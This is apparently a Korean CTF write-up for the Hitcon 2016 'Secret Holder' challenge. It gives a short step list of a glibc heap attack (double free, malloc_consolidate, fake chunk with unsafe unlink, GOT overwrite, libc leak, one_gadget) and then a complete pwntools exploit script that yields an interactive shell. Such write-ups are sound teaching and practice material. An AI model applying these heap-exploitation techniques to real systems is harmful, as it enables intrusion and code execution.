CTF write-up
[Hitcon 2016] Secret Holder
youngsouk
2020. 1. 25. 00:34
1. malloc_consolidate()와 double free bug를 이용해 fastbin과 smallbin에 같은 청크가 2번 있게한다.
2. fastbin에 있는거 받아서 안에 fake chunk를 구성하되 다음 청크의 prev_size를 0x20으로 변경
3. 2번에서 받은 청크의 다음 청크를 free -> unlink 호출(prev_inuse가 셋팅안됨)
4. 3번의 unsafe unlink로 bss 영역을 수정할 수 있으므로, big, huge chunk ptr의 값을 수정 -> libc leak, one_gadget 이용
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from pwn import * | |
if len(sys.argv) != 2: | |
print "sys.argv[1] = r : remote l : local" | |
exit() | |
#context.log_level = 'debug' | |
if sys.argv[1].strip() == 'l': | |
p = process('./SecretHolder') | |
elif sys.argv[1].strip() == 'r': | |
p = remote('',) | |
e = ELF('./SecretHolder') | |
if sys.argv[1].strip() == 'l': | |
l = e.libc | |
elif sys.argv[1].strip() == 'r': | |
l = ELF('./') | |
pause() | |
def keep(type, content): | |
p.recv() | |
p.send("1") | |
p.recv() | |
p.send(str(type)) | |
sleep(0.1) | |
p.recv() | |
p.send(str(content)) | |
sleep(0.1) | |
def wipe(type): | |
p.recv() | |
p.send("2") | |
p.sendafter('3. Huge secret', str(type)) | |
sleep(0.1) | |
def renew(type, content): | |
p.recv() | |
p.send("3") | |
p.sendafter('3. Huge secret', str(type)) | |
sleep(0.1) | |
p.recv() | |
p.send(str(content)) | |
sleep(0.1) | |
keep(1, 'a') | |
keep(2, 'a') | |
wipe(1) | |
keep(3, 'a') # malloc_consolidate fastbin chunk -> small bin | |
wipe(1) | |
smallchunk = 0x6020B0 | |
pay = p64(0) + p64(0x21) # make fake chunk | |
pay += p64(smallchunk - 0x18) + p64(smallchunk - 0x10) | |
pay += p64(0x20) | |
keep(1, pay) | |
wipe(2) # call unlink | |
keep(2, 'a') | |
renew(1, p64(1) + p64(e.got['free'])) # big chunk -> free@got | |
renew(2, p64(e.plt['puts'])) # free@got -> puts@plt | |
renew(1, p64(1) + p64(e.got['puts']) * 2) # big, huge chunk -> puts@got | |
wipe(2) # puts(puts@got) | |
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - l.sym['puts'] | |
log.info("libc : " + hex(libc)) | |
renew(3, p64(libc + 0x4526a)) | |
p.interactive() |